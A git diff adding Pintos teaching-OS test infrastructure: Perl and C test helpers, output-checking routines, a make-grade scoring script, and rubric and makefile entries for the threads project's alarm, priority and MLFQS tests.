+ if (!(SUCCESS)) \
+ fail (__VA_ARGS__); \
+ } \
+ while (0)
+
+void shuffle (void *, size_t cnt, size_t size);
+
+void exec_children (const char *child_name, pid_t pids[], size_t child_cnt);
+void wait_children (pid_t pids[], size_t child_cnt);
+
+void check_file_handle (int fd, const char *file_name,
+ const void *buf_, size_t filesize);
+void check_file (const char *file_name, const void *buf, size_t filesize);
+
+void compare_bytes (const void *read_data, const void *expected_data,
+ size_t size, size_t ofs, const char *file_name);
+
+#endif /* test/lib.h */
diff --git a/src/tests/lib.pm b/src/tests/lib.pm
new file mode 100644
index 0000000..bc37ae5
--- /dev/null
+++ b/src/tests/lib.pm
@@ -0,0 +1,19 @@
+use strict;
+use warnings;
+
+use tests::random;
+
+sub shuffle {
+ my ($in, $cnt, $sz) = @_;
+ $cnt * $sz == length $in or die;
+ my (@a) = 0...$cnt - 1;
+ for my $i (0...$cnt - 1) {
+ my ($j) = $i + random_ulong () % ($cnt - $i);
+ @a[$i, $j] = @a[$j, $i];
+ }
+ my ($out) = "";
+ $out .= substr ($in, $_ * $sz, $sz) foreach @a;
+ return $out;
+}
+
+1;
diff --git a/src/tests/main.c b/src/tests/main.c
new file mode 100644
index 0000000..ad1b0f1
--- /dev/null
+++ b/src/tests/main.c
@@ -0,0 +1,15 @@
+#include <random.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+int
+main (int argc UNUSED, char *argv[])
+{
+ test_name = argv[0];
+
+ msg ("begin");
+ random_init (0);
+ test_main ();
+ msg ("end");
+ return 0;
+}
diff --git a/src/tests/main.h b/src/tests/main.h
new file mode 100644
index 0000000..f0e8818
--- /dev/null
+++ b/src/tests/main.h
@@ -0,0 +1,6 @@
+#ifndef TESTS_MAIN_H
+#define TESTS_MAIN_H
+
+void test_main (void);
+
+#endif /* tests/main.h */
diff --git a/src/tests/make-grade b/src/tests/make-grade
new file mode 100644
index 0000000..a3faa0e
--- /dev/null
+++ b/src/tests/make-grade
@@ -0,0 +1,152 @@
+#! /usr/bin/perl
+
+use strict;
+use warnings;
+
+@ARGV == 3 || die;
+my ($src_dir, $results_file, $grading_file) = @ARGV;
+
+# Read pass/file verdicts from $results_file.
+open (RESULTS, '<', $results_file) || die "$results_file: open: $!\n";
+my (%verdicts, %verdict_counts);
+while (<RESULTS>) {
+ my ($verdict, $test) = /^(pass|FAIL) (.*)$/ or die;
+ $verdicts{$test} = $verdict eq 'pass';
+}
+close RESULTS;
+
+my (@failures);
+my (@overall, @rubrics, @summary);
+my ($pct_actual, $pct_possible) = (0, 0);
+
+# Read grading file.
+my (@items);
+open (GRADING, '<', $grading_file) || die "$grading_file: open: $!\n";
+while (<GRADING>) {
+ s/#.*//;
+ next if /^\s*$/;
+ my ($max_pct, $rubric_suffix) = /^\s*(\d+(?:\.\d+)?)%\t(.*)/ or die;
+ my ($dir) = $rubric_suffix =~ /^(.*)\//;
+ my ($rubric_file) = "$src_dir/$rubric_suffix";
+ open (RUBRIC, '<', $rubric_file) or die "$rubric_file: open: $!\n";
+
+ # Rubric file must begin with title line.
+ my $title = <RUBRIC>;
+ chomp $title;
+ $title =~ s/:$// or die;
+ $title .= " ($rubric_suffix):";
+ push (@rubrics, $title);
+
+ my ($score, $possible) = (0, 0);
+ my ($cnt, $passed) = (0, 0);
+ my ($was_score) = 0;
+ while (<RUBRIC>) {
+ chomp;
+ push (@rubrics, "\t$_"), next if /^-/;
+ push (@rubrics, ""), next if /^\s*$/;
+ my ($poss, $name) = /^(\d+)\t(.*)$/ or die;
+ my ($test) = "$dir/$name";
+ my ($points) = 0;
+ if (!defined $verdicts{$test}) {
+ push (@overall, "warning: $test not tested, assuming failure");
+ } elsif ($verdicts{$test}) {
+ $points = $poss;
+ $passed++;
+ }
+ push (@failures, $test) if !$points;
+ $verdict_counts{$test}++;
+ push (@rubrics, sprintf ("\t%4s%2d/%2d %s",
+ $points ? '' : '**', $points, $poss, $test));
+ $score += $points;
+ $possible += $poss;
+ $cnt++;
+ }
+ close (RUBRIC);
+
+ push (@rubrics, "");
+ push (@rubrics, "\t- Section summary.");
+ push (@rubrics, sprintf ("\t%4s%3d/%3d %s",
+ '', $passed, $cnt, 'tests passed'));
+ push (@rubrics, sprintf ("\t%4s%3d/%3d %s",
+ '', $score, $possible, 'points subtotal'));
+ push (@rubrics, '');
+
+ my ($pct) = ($score / $possible) * $max_pct;
+ push (@summary, sprintf ("%-45s %3d/%3d %5.1f%%/%5.1f%%",
+ $rubric_suffix,
+ $score, $possible,
+ $pct, $max_pct));
+ $pct_actual += $pct;
+ $pct_possible += $max_pct;
+}
+close GRADING;
+
+my ($sum_line)
+ = "--------------------------------------------- --- --- ------ ------";
+unshift (@summary,
+ "SUMMARY BY TEST SET",
+ '',
+ sprintf ("%-45s %3s %3s %6s %6s",
+ "Test Set", "Pts", "Max", "% Ttl", "% Max"),
+ $sum_line);
+push (@summary,
+ $sum_line,
+ sprintf ("%-45s %3s %3s %5.1f%%/%5.1f%%",
+ 'Total', '', '', $pct_actual, $pct_possible));
+
+unshift (@rubrics,
+ "SUMMARY OF INDIVIDUAL TESTS",
+ '');
+
+foreach my $name (keys (%verdicts)) {
+ my ($count) = $verdict_counts{$name};
+ if (!defined ($count) || $count != 1) {
+ if (!defined ($count) || !$count) {
+ push (@overall, "warning: test $name doesn't count for grading");
+ } else {
+ push (@overall,
+ "warning: test $name counted $count times in grading");
+ }
+ }
+}
+push (@overall, sprintf ("TOTAL TESTING SCORE: %.1f%%", $pct_actual));
+if (sprintf ("%.1f", $pct_actual) eq sprintf ("%.1f", $pct_possible)) {
+ push (@overall, "ALL TESTED PASSED -- PERFECT SCORE");
+}
+
+my (@divider) = ('', '- ' x 38, '');
+
+print map ("$_\n", @overall, @divider, @summary, @divider, @rubrics);
+
+for my $test (@failures) {
+ print map ("$_\n", @divider);
+ print "DETAILS OF $test FAILURE:\n\n";
+
+ if (open (RESULT, '<', "$test.result")) {
+ my $first_line = <RESULT>;
+ my ($cnt) = 0;
+ while (<RESULT>) {
+ print;
+ $cnt++;
+ }
+ close (RESULT);
+ }
+
+ if (open (OUTPUT, '<', "$test.output")) {
+ print "\nOUTPUT FROM $test:\n\n";
+
+ my ($panics, $boots) = (0, 0);
+ while (<OUTPUT>) {
+ if (/PANIC/ && ++$panics > 2) {
+ print "[...details of additional panic(s) omitted...]\n";
+ last;
+ }
+ print;
+ if (/Pintos booting/ && ++$boots > 1) {
+ print "[...details of reboot(s) omitted...]\n";
+ last;
+ }
+ }
+ close (OUTPUT);
+ }
+}
diff --git a/src/tests/random.pm b/src/tests/random.pm
new file mode 100644
index 0000000..be008ff
--- /dev/null
+++ b/src/tests/random.pm
@@ -0,0 +1,27 @@
+use strict;
+use warnings;
+
+use tests::arc4;
+
+my (@arc4);
+
+sub random_init {
+ if (@arc4 == 0) {
+ my ($seed) = @_;
+ $seed = 0 if !defined $seed;
+ @arc4 = arc4_init (pack ("V", $seed));
+ }
+}
+
+sub random_bytes {
+ random_init ();
+ my ($n) = @_;
+ return arc4_crypt (\@arc4, "\0" x $n);
+}
+
+sub random_ulong {
+ random_init ();
+ return unpack ("V", random_bytes (4));
+}
+
+1;
diff --git a/src/tests/tests.pm b/src/tests/tests.pm
new file mode 100644
index 0000000..29e0707
--- /dev/null
+++ b/src/tests/tests.pm
@@ -0,0 +1,622 @@
+use strict;
+use warnings;
+use tests::Algorithm::Diff;
+use File::Temp 'tempfile';
+use Fcntl qw(SEEK_SET SEEK_CUR);
+
+sub fail;
+sub pass;
+
+die if @ARGV != 2;
+our ($test, $src_dir) = @ARGV;
+
+my ($msg_file) = tempfile ();
+select ($msg_file);
+
+our (@prereq_tests) = ();
+if ($test =~ /^(.*)-persistence$/) {
+ push (@prereq_tests, $1);
+}
+for my $prereq_test (@prereq_tests) {
+ my (@result) = read_text_file ("$prereq_test.result");
+ fail "Prerequisite test $prereq_test failed.\n" if $result[0] ne 'PASS';
+}
+
+
+# Generic testing.
+
+sub check_expected {
+ my ($expected) = pop @_;
+ my (@options) = @_;
+ my (@output) = read_text_file ("$test.output");
+ common_checks ("run", @output);
+ compare_output ("run", @options, \@output, $expected);
+}
+
+sub common_checks {
+ my ($run, @output) = @_;
+
+ fail "\u$run produced no output at all\n" if @output == 0;
+
+ check_for_panic ($run, @output);
+ check_for_keyword ($run, "FAIL", @output);
+ check_for_triple_fault ($run, @output);
+ check_for_keyword ($run, "TIMEOUT", @output);
+
+ fail "\u$run didn't start up properly: no \"Pintos booting\" message\n"
+ if !grep (/Pintos booting with.*kB RAM\.\.\./, @output);
+ fail "\u$run didn't start up properly: no \"Boot complete\" message\n"
+ if !grep (/Boot complete/, @output);
+ fail "\u$run didn't shut down properly: no \"Timer: # ticks\" message\n"
+ if !grep (/Timer: \d+ ticks/, @output);
+ fail "\u$run didn't shut down properly: no \"Powering off\" message\n"
+ if !grep (/Powering off/, @output);
+}
+
+sub check_for_panic {
+ my ($run, @output) = @_;
+
+ my ($panic) = grep (/PANIC/, @output);
+ return unless defined $panic;
+
+ print "Kernel panic in $run: ", substr ($panic, index ($panic, "PANIC")),
+ "\n";
+
+ my (@stack_line) = grep (/Call stack:/, @output);
+ if (@stack_line != 0) {
+ my ($addrs) = $stack_line[0] =~ /Call stack:((?: 0x[0-9a-f]+)+)/;
+
+ # Find a user program to translate user virtual addresses.
+ my ($userprog) = "";
+ $userprog = "$test"
+ if grep (hex ($_) < 0xc0000000, split (' ', $addrs)) > 0 && -e $test;
+
+ # Get and print the backtrace.
+ my ($trace) = scalar (`backtrace kernel.o $userprog $addrs`);
+ print "Call stack:$addrs\n";
+ print "Translation of call stack:\n";
+ print $trace;
+
+ # Print disclaimer.
+ if ($userprog ne '' && index ($trace, $userprog) >= 0) {
+ print <<EOF;
+Translations of user virtual addresses above are based on a guess at
+the binary to use. If this guess is incorrect, then those
+translations will be misleading.
+EOF
+ }
+ }
+
+ if ($panic =~ /sec_no \< d-\>capacity/) {
+ print <<EOF;
+\nThis assertion commonly fails when accessing a file via an inode that
+has been closed and freed. Freeing an inode clears all its sector
+indexes to 0xcccccccc, which is not a valid sector number for disks
+smaller than about 1.6 TB.
+EOF
+ }
+
+ fail;
+}
+
+sub check_for_keyword {
+ my ($run, $keyword, @output) = @_;
+
+ my ($kw_line) = grep (/$keyword/, @output);
+ return unless defined $kw_line;
+
+ # Most output lines are prefixed by (test-name). Eliminate this
+ # from our message for brevity.
+ $kw_line =~ s/^\([^\)]+\)\s+//;
+ print "$run: $kw_line\n";
+
+ fail;
+}
+
+sub check_for_triple_fault {
+ my ($run, @output) = @_;
+
+ my ($reboots) = grep (/Pintos booting/, @output) - 1;
+ return unless $reboots > 0;
+
+ print <<EOF;
+\u$run spontaneously rebooted $reboots times.
+This is most often caused by unhandled page faults.
+Read the Triple Faults section in the Debugging chapter
+of the Pintos manual for more information.
+EOF
+
+ fail;
+}
+
+# Get @output without header or trailer.
+sub get_core_output {
+ my ($run, @output) = @_;
+ my ($p);
+
+ my ($process);
+ my ($start);
+ for my $i (0...$#_) {
+ $start = $i + 1, last
+ if ($process) = $output[$i] =~ /^Executing '(\S+).*':$/;
+ }
+
+ my ($end);
+ for my $i ($start...$#output) {
+ $end = $i - 1, last if $output[$i] =~ /^Execution of '.*' complete.$/;
+ }
+
+ fail "\u$run didn't start a thread or process\n" if !defined $start;
+ fail "\u$run started '$process' but it never finished\n" if !defined $end;
+
+ return @output[$start...$end];
+}
+
+sub compare_output {
+ my ($run) = shift @_;
+ my ($expected) = pop @_;
+ my ($output) = pop @_;
+ my (%options) = @_;
+
+ my (@output) = get_core_output ($run, @$output);
+ fail "\u$run didn't produce any output" if !@output;
+
+ my $ignore_exit_codes = exists $options{IGNORE_EXIT_CODES};
+ if ($ignore_exit_codes) {
+ delete $options{IGNORE_EXIT_CODES};
+ @output = grep (!/^[a-zA-Z0-9-_]+: exit\(\-?\d+\)$/, @output);
+ }
+ my $ignore_user_faults = exists $options{IGNORE_USER_FAULTS};
+ if ($ignore_user_faults) {
+ delete $options{IGNORE_USER_FAULTS};
+ @output = grep (!/^Page fault at.*in user context\.$/
+ && !/: dying due to interrupt 0x0e \(.*\).$/
+ && !/^Interrupt 0x0e \(.*\) at eip=/
+ && !/^ cr2=.* error=.*/
+ && !/^ eax=.* ebx=.* ecx=.* edx=.*/
+ && !/^ esi=.* edi=.* esp=.* ebp=.*/
+ && !/^ cs=.* ds=.* es=.* ss=.*/, @output);
+ }
+ die "unknown option " . (keys (%options))[0] . "\n" if %options;
+
+ my ($msg);
+
+ # Compare actual output against each allowed output.
+ if (ref ($expected) eq 'ARRAY') {
+ my ($i) = 0;
+ $expected = {map ((++$i => $_), @$expected)};
+ }
+ foreach my $key (keys %$expected) {
+ my (@expected) = split ("\n", $expected->{$key});
+
+ $msg .= "Acceptable output:\n";
+ $msg .= join ('', map (" $_\n", @expected));
+
+ # Check whether actual and expected match.
+ # If it's a perfect match, we're done.
+ if ($#output == $#expected) {
+ my ($eq) = 1;
+ for (my ($i) = 0; $i <= $#expected; $i++) {
+ $eq = 0 if $output[$i] ne $expected[$i];
+ }
+ return $key if $eq;
+ }
+
+ # They differ. Output a diff.
+ my (@diff) = "";
+ my ($d) = Algorithm::Diff->new (\@expected, \@output);
+ while ($d->Next ()) {
+ my ($ef, $el, $af, $al) = $d->Get (qw (min1 max1 min2 max2));
+ if ($d->Same ()) {
+ push (@diff, map (" $_\n", $d->Items (1)));
+ } else {
+ push (@diff, map ("- $_\n", $d->Items (1))) if $d->Items (1);
+ push (@diff, map ("+ $_\n", $d->Items (2))) if $d->Items (2);
+ }
+ }
+
+ $msg .= "Differences in `diff -u' format:\n";
+ $msg .= join ('', @diff);
+ }
+
+ # Failed to match. Report failure.
+ $msg .= "\n(Process exit codes are excluded for matching purposes.)\n"
+ if $ignore_exit_codes;
+ $msg .= "\n(User fault messages are excluded for matching purposes.)\n"
+ if $ignore_user_faults;
+ fail "Test output failed to match any acceptable form.\n\n$msg";
+}
+
+# File system extraction.
+
+# check_archive (\%CONTENTS)
+#
+# Checks that the extracted file system's contents match \%CONTENTS.
+# Each key in the hash is a file name. Each value may be:
+#
+# - $FILE: Name of a host file containing the expected contents.
+#
+# - [$FILE, $OFFSET, $LENGTH]: An excerpt of host file $FILE
+# comprising the $LENGTH bytes starting at $OFFSET.
+#
+# - [$CONTENTS]: The literal expected file contents, as a string.
+#
+# - {SUBDIR}: A subdirectory, in the same form described here,
+# recursively.
+sub check_archive {
+ my ($expected_hier) = @_;
+
+ my (@output) = read_text_file ("$test.output");
+ common_checks ("file system extraction run", @output);
+
+ @output = get_core_output ("file system extraction run", @output);
+ @output = grep (!/^[a-zA-Z0-9-_]+: exit\(\d+\)$/, @output);
+ fail join ("\n", "Error extracting file system:", @output) if @output;
+
+ my ($test_base_name) = $test;
+ $test_base_name =~ s%.*/%%;
+ $test_base_name =~ s%-persistence$%%;
+ $expected_hier->{$test_base_name} = $prereq_tests[0];
+ $expected_hier->{'tar'} = 'tests/filesys/extended/tar';
+
+ my (%expected) = normalize_fs (flatten_hierarchy ($expected_hier, ""));
+ my (%actual) = read_tar ("$prereq_tests[0].tar");
+
+ my ($errors) = 0;
+ foreach my $name (sort keys %expected) {
+ if (exists $actual{$name}) {
+ if (is_dir ($actual{$name}) && !is_dir ($expected{$name})) {
+ print "$name is a directory but should be an ordinary file.\n";
+ $errors++;
+ } elsif (!is_dir ($actual{$name}) && is_dir ($expected{$name})) {
+ print "$name is an ordinary file but should be a directory.\n";
+ $errors++;
+ }
+ } else {
+ print "$name is missing from the file system.\n";
+ $errors++;
+ }
+ }
+ foreach my $name (sort keys %actual) {
+ if (!exists $expected{$name}) {
+ if ($name =~ /^[[:print:]]+$/) {
+ print "$name exists in the file system but it should not.\n";
+ } else {
+ my ($esc_name) = $name;
+ $esc_name =~ s/[^[:print:]]/./g;
+ print <<EOF;
+$esc_name exists in the file system but should not. (The name
+of this file contains unusual characters that were printed as `.'.)
+EOF
+ }
+ $errors++;
+ }
+ }
+ if ($errors) {
+ print "\nActual contents of file system:\n";
+ print_fs (%actual);
+ print "\nExpected contents of file system:\n";
+ print_fs (%expected);
+ } else {
+ foreach my $name (sort keys %expected) {
+ if (!is_dir ($expected{$name})) {
+ my ($exp_file, $exp_length) = open_file ($expected{$name});
+ my ($act_file, $act_length) = open_file ($actual{$name});
+ $errors += !compare_files ($exp_file, $exp_length,
+ $act_file, $act_length, $name,
+ !$errors);
+ close ($exp_file);
+ close ($act_file);
+ }
+ }
+ }
+ fail "Extracted file system contents are not correct.\n" if $errors;
+}
+
+# open_file ([$FILE, $OFFSET, $LENGTH])
+# open_file ([$CONTENTS])
+#
+# Opens a file for the contents passed in, which must be in one of
+# the two above forms that correspond to check_archive() arguments.
+#
+# Returns ($HANDLE, $LENGTH), where $HANDLE is the file's handle and
+# $LENGTH is the number of bytes in the file's content.
+sub open_file {
+ my ($value) = @_;
+ die if ref ($value) ne 'ARRAY';
+
+ my ($file) = tempfile ();
+ my ($length);
+ if (@$value == 1) {
+ $length = length ($value->[0]);
+ $file = tempfile ();
+ syswrite ($file, $value->[0]) == $length
+ or die "writing temporary file: $!\n";
+ sysseek ($file, 0, SEEK_SET);
+ } elsif (@$value == 3) {
+ $length = $value->[2];
+ open ($file, '<', $value->[0]) or die "$value->[0]: open: $!\n";
+ die "$value->[0]: file is smaller than expected\n"
+ if -s $file < $value->[1] + $length;
+ sysseek ($file, $value->[1], SEEK_SET);
+ } else {
+ die;
+ }
+ return ($file, $length);
+}
+
+# compare_files ($A, $A_SIZE, $B, $B_SIZE, $NAME, $VERBOSE)
+#
+# Compares $A_SIZE bytes in $A to $B_SIZE bytes in $B.
+# ($A and $B are handles.)
+# If their contents differ, prints a brief message describing
+# the differences, using $NAME to identify the file.
+# The message contains more detail if $VERBOSE is nonzero.
+# Returns 1 if the contents are identical, 0 otherwise.
+sub compare_files {
+ my ($a, $a_size, $b, $b_size, $name, $verbose) = @_;
+ my ($ofs) = 0;
+ select(STDOUT);
+ for (;;) {
+ my ($a_amt) = $a_size >= 1024 ? 1024 : $a_size;
+ my ($b_amt) = $b_size >= 1024 ? 1024 : $b_size;
+ my ($a_data, $b_data);
+ if (!defined (sysread ($a, $a_data, $a_amt))
+ || !defined (sysread ($b, $b_data, $b_amt))) {
+ die "reading $name: $!\n";
+ }
+
+ my ($a_len) = length $a_data;
+ my ($b_len) = length $b_data;
+ last if $a_len == 0 && $b_len == 0;
+
+ if ($a_data ne $b_data) {
+ my ($min_len) = $a_len < $b_len ? $a_len : $b_len;
+ my ($diff_ofs);
+ for ($diff_ofs = 0; $diff_ofs < $min_len; $diff_ofs++) {
+ last if (substr ($a_data, $diff_ofs, 1)
+ ne substr ($b_data, $diff_ofs, 1));
+ }
+
+ printf "\nFile $name differs from expected "
+ . "starting at offset 0x%x.\n", $ofs + $diff_ofs;
+ if ($verbose ) {
+ print "Expected contents:\n";
+ hex_dump (substr ($a_data, $diff_ofs, 64), $ofs + $diff_ofs);
+ print "Actual contents:\n";
+ hex_dump (substr ($b_data, $diff_ofs, 64), $ofs + $diff_ofs);
+ }
+ return 0;
+ }
+
+ $ofs += $a_len;
+ $a_size -= $a_len;
+ $b_size -= $b_len;
+ }
+ return 1;
+}
+
+# hex_dump ($DATA, $OFS)
+#
+# Prints $DATA in hex and text formats.
+# The first byte of $DATA corresponds to logical offset $OFS
+# in whatever file the data comes from.
+sub hex_dump {
+ my ($data, $ofs) = @_;
+
+ if ($data eq '') {
+ printf " (File ends at offset %08x.)\n", $ofs;
+ return;
+ }
+
+ my ($per_line) = 16;
+ while ((my $size = length ($data)) > 0) {
+ my ($start) = $ofs % $per_line;
+ my ($end) = $per_line;
+ $end = $start + $size if $end - $start > $size;
+ my ($n) = $end - $start;
+
+ printf "0x%08x ", int ($ofs / $per_line) * $per_line;
+
+ # Hex version.
+ print " " x $start;
+ for my $i ($start...$end - 1) {
+ printf "%02x", ord (substr ($data, $i - $start, 1));
+ print $i == $per_line / 2 - 1 ? '-' : ' ';
+ }
+ print " " x ($per_line - $end);
+
+ # Character version.
+ my ($esc_data) = substr ($data, 0, $n);
+ $esc_data =~ s/[^[:print:]]/./g;
+ print "|", " " x $start, $esc_data, " " x ($per_line - $end), "|";
+
+ print "\n";
+
+ $data = substr ($data, $n);
+ $ofs += $n;
+ }
+}
+
+# print_fs (%FS)
+#
+# Prints a list of files in %FS, which must be a file system
+# as flattened by flatten_hierarchy() and normalized by
+# normalize_fs().
+sub print_fs {
+ my (%fs) = @_;
+ foreach my $name (sort keys %fs) {
+ my ($esc_name) = $name;
+ $esc_name =~ s/[^[:print:]]/./g;
+ print "$esc_name: ";
+ if (!is_dir ($fs{$name})) {
+ print +file_size ($fs{$name}), "-byte file";
+ } else {
+ print "directory";
+ }
+ print "\n";
+ }
+ print "(empty)\n" if !@_;
+}
+
+# normalize_fs (%FS)
+#
+# Takes a file system as flattened by flatten_hierarchy().
+# Returns a similar file system in which values of the form $FILE
+# are replaced by those of the form [$FILE, $OFFSET, $LENGTH].
+sub normalize_fs {
+ my (%fs) = @_;
+ foreach my $name (keys %fs) {
+ my ($value) = $fs{$name};
+ next if is_dir ($value) || ref ($value) ne '';
+ die "can't open $value\n" if !stat $value;
+ $fs{$name} = [$value, 0, -s _];
+ }
+ return %fs;
+}
+
+# is_dir ($VALUE)
+#
+# Takes a value like one in the hash returned by flatten_hierarchy()
+# and returns 1 if it represents a directory, 0 otherwise.
+sub is_dir {
+ my ($value) = @_;
+ return ref ($value) eq '' && $value eq 'directory';
+}
+
+# file_size ($VALUE)
+#
+# Takes a value like one in the hash returned by flatten_hierarchy()
+# and returns the size of the file it represents.
+sub file_size {
+ my ($value) = @_;
+ die if is_dir ($value);
+ die if ref ($value) ne 'ARRAY';
+ return @$value > 1 ? $value->[2] : length ($value->[0]);
+}
+
+# flatten_hierarchy ($HIER_FS, $PREFIX)
+#
+# Takes a file system in the format expected by check_archive() and
+# returns a "flattened" version in which file names include all parent
+# directory names and the value of directories is just "directory".
+sub flatten_hierarchy {
+ my (%hier_fs) = %{$_[0]};
+ my ($prefix) = $_[1];
+ my (%flat_fs);
+ for my $name (keys %hier_fs) {
+ my ($value) = $hier_fs{$name};
+ if (ref $value eq 'HASH') {
+ %flat_fs = (%flat_fs, flatten_hierarchy ($value, "$prefix$name/"));
+ $flat_fs{"$prefix$name"} = 'directory';
+ } else {
+ $flat_fs{"$prefix$name"} = $value;
+ }
+ }
+ return %flat_fs;
+}
+
+# read_tar ($ARCHIVE)
+#
+# Reads the ustar-format tar file in $ARCHIVE
+# and returns a flattened file system for it.
+sub read_tar {
+ my ($archive) = @_;
+ my (%content);
+ open (ARCHIVE, '<', $archive) or fail "$archive: open: $!\n";
+ for (;;) {
+ my ($header);
+ if ((my $retval = sysread (ARCHIVE, $header, 512)) != 512) {
+ fail "$archive: unexpected end of file\n" if $retval >= 0;
+ fail "$archive: read: $!\n";
+ }
+
+ last if $header eq "\0" x 512;
+
+ # Verify magic numbers.
+ if (substr ($header, 257, 6) ne "ustar\0"
+ || substr ($header, 263, 2) ne '00') {
+ fail "$archive: corrupt ustar header\n";
+ }
+
+ # Verify checksum.
+ my ($chksum) = oct (unpack ("Z*", substr ($header, 148, 8, ' ' x 8)));
+ my ($correct_chksum) = unpack ("%32a*", $header);
+ fail "$archive: bad header checksum\n" if $chksum != $correct_chksum;
+
+ # Get file name.
+ my ($name) = unpack ("Z100", $header);
+ my ($prefix) = unpack ("Z*", substr ($header, 345));
+ $name = "$prefix/$name" if $prefix ne '';
+ fail "$archive: contains file with empty name" if $name eq '';
+
+ # Get type.
+ my ($typeflag) = substr ($header, 156, 1);
+ $typeflag = '0' if $typeflag eq "\0";
+ fail "unknown file type '$typeflag'\n" if $typeflag !~ /[05]/;
+
+ # Get size.
+ my ($size) = oct (unpack ("Z*", substr ($header, 124, 12)));
+ fail "bad size $size\n" if $size < 0;
+ $size = 0 if $typeflag eq '5';
+
+ # Store content.
+ if (exists $content{$name}) {
+ fail "$archive: contains multiple entries for $name\n";
+ }
+ if ($typeflag eq '5') {
+ $content{$name} = 'directory';
+ } else {
+ my ($position) = sysseek (ARCHIVE, 0, SEEK_CUR);
+ $content{$name} = [$archive, $position, $size];
+ sysseek (ARCHIVE, int (($size + 511) / 512) * 512, SEEK_CUR);
+ }
+ }
+ close (ARCHIVE);
+ return %content;
+}
+
+# Utilities.
+
+sub fail {
+ finish ("FAIL", @_);
+}
+
+sub pass {
+ finish ("PASS", @_);
+}
+
+sub finish {
+ my ($verdict, @messages) = @_;
+
+ seek ($msg_file, 0, 0);
+ push (@messages, <$msg_file>);
+ close ($msg_file);
+ chomp (@messages);
+
+ my ($result_fn) = "$test.result";
+ open (RESULT, '>', $result_fn) or die "$result_fn: create: $!\n";
+ print RESULT "$verdict\n";
+ print RESULT "$_\n" foreach @messages;
+ close (RESULT);
+
+ if ($verdict eq 'PASS') {
+ print STDOUT "pass $test\n";
+ } else {
+ print STDOUT "FAIL $test\n";
+ }
+ print STDOUT "$_\n" foreach @messages;
+
+ exit 0;
+}
+
+sub read_text_file {
+ my ($file_name) = @_;
+ open (FILE, '<', $file_name) or die "$file_name: open: $!\n";
+ my (@content) = <FILE>;
+ chomp (@content);
+ close (FILE);
+ return @content;
+}
+
+1;
diff --git a/src/tests/threads/Grading b/src/tests/threads/Grading
new file mode 100644
index 0000000..c9be35f
--- /dev/null
+++ b/src/tests/threads/Grading
@@ -0,0 +1,6 @@
+# Percentage of the testing point total designated for each set of
+# tests.
+
+20.0% tests/threads/Rubric.alarm
+40.0% tests/threads/Rubric.priority
+40.0% tests/threads/Rubric.mlfqs
diff --git a/src/tests/threads/Make.tests b/src/tests/threads/Make.tests
new file mode 100644
index 0000000..961c3ce
--- /dev/null
+++ b/src/tests/threads/Make.tests
@@ -0,0 +1,49 @@
+# -*- makefile -*-
+
+# Test names.
+tests/threads_TESTS = $(addprefix tests/threads/,alarm-single \
+alarm-multiple alarm-simultaneous alarm-zero alarm-negative \
+)
+
+# Sources for tests.
+tests/threads_SRC = tests/threads/tests.c
+tests/threads_SRC += tests/threads/alarm-wait.c
+tests/threads_SRC += tests/threads/alarm-simultaneous.c
+tests/threads_SRC += tests/threads/alarm-priority.c
+tests/threads_SRC += tests/threads/alarm-zero.c
+tests/threads_SRC += tests/threads/alarm-negative.c
+tests/threads_SRC += tests/threads/priority-change.c
+tests/threads_SRC += tests/threads/priority-donate-one.c
+tests/threads_SRC += tests/threads/priority-donate-multiple.c
+tests/threads_SRC += tests/threads/priority-donate-multiple2.c
+tests/threads_SRC += tests/threads/priority-donate-nest.c
+tests/threads_SRC += tests/threads/priority-donate-sema.c
+tests/threads_SRC += tests/threads/priority-donate-lower.c
+tests/threads_SRC += tests/threads/priority-fifo.c
+tests/threads_SRC += tests/threads/priority-preempt.c
+tests/threads_SRC += tests/threads/priority-sema.c
+tests/threads_SRC += tests/threads/priority-condvar.c
+tests/threads_SRC += tests/threads/priority-donate-chain.c
+tests/threads_SRC += tests/threads/mlfqs-load-1.c
+tests/threads_SRC += tests/threads/mlfqs-load-60.c
+tests/threads_SRC += tests/threads/mlfqs-load-avg.c
+tests/threads_SRC += tests/threads/mlfqs-recent-1.c
+tests/threads_SRC += tests/threads/mlfqs-fair.c
+tests/threads_SRC += tests/threads/mlfqs-block.c
+tests/threads_SRC += tests/threads/threadtest.c
+tests/threads_SRC += tests/threads/simplethreadtest.c
+
+MLFQS_OUTPUTS = \
+tests/threads/mlfqs-load-1.output \
+tests/threads/mlfqs-load-60.output \
+tests/threads/mlfqs-load-avg.output \
+tests/threads/mlfqs-recent-1.output \
+tests/threads/mlfqs-fair-2.output \
+tests/threads/mlfqs-fair-20.output \
+tests/threads/mlfqs-nice-2.output \
+tests/threads/mlfqs-nice-10.output \
+tests/threads/mlfqs-block.output
+
+$(MLFQS_OUTPUTS): KERNELFLAGS += -mlfqs
+$(MLFQS_OUTPUTS): TIMEOUT = 480
+
diff --git a/src/tests/threads/Rubric.alarm b/src/tests/threads/Rubric.alarm
new file mode 100644
index 0000000..61abe85
--- /dev/null
+++ b/src/tests/threads/Rubric.alarm
@@ -0,0 +1,8 @@
+Functionality and robustness of alarm clock:
+4 alarm-single
+4 alarm-multiple
+4 alarm-simultaneous
+4 alarm-priority
+
+1 alarm-zero
+1 alarm-negative
diff --git a/src/tests/threads/Rubric.mlfqs b/src/tests/threads/Rubric.mlfqs
new file mode 100644
index 0000000..f260091
--- /dev/null
+++ b/src/tests/threads/Rubric.mlfqs
@@ -0,0 +1,14 @@
+Functionality of advanced scheduler:
+5 mlfqs-load-1
+5 mlfqs-load-60
+3 mlfqs-load-avg
+
+5 mlfqs-recent-1
+
+5 mlfqs-fair-2
+3 mlfqs-fair-20
+
+4 mlfqs-nice-2
+2 mlfqs-nice-10
+
+5 mlfqs-block
diff --git a/src/tests/threads/Rubric.priority b/src/tests/threads/Rubric.priority
new file mode 100644
index 0000000..652bc99
--- /dev/null
+++ b/src/tests/threads/Rubric.priority
@@ -0,0 +1,15 @@
+Functionality of priority scheduler:
+3 priority-change
+3 priority-preempt
+
+3 priority-fifo
+3 priority-sema
+3 priority-condvar
+
+3 priority-donate-one
+3 priority-donate-multiple
+3 priority-donate-multiple2
+3 priority-donate-nest
+5 priority-donate-chain
+3 priority-donate-sema
+3 priority-donate-lower
diff --git a/src/tests/threads/alarm-multiple.ck b/src/tests/threads/alarm-multiple.ck
new file mode 100644
index 0000000..fd83bcd
--- /dev/null
+++ b/src/tests/threads/alarm-multiple.ck
@@ -0,0 +1,4 @@
+# -*- perl -*-
+use tests::tests;
+use tests::threads::alarm;
+check_alarm (7);
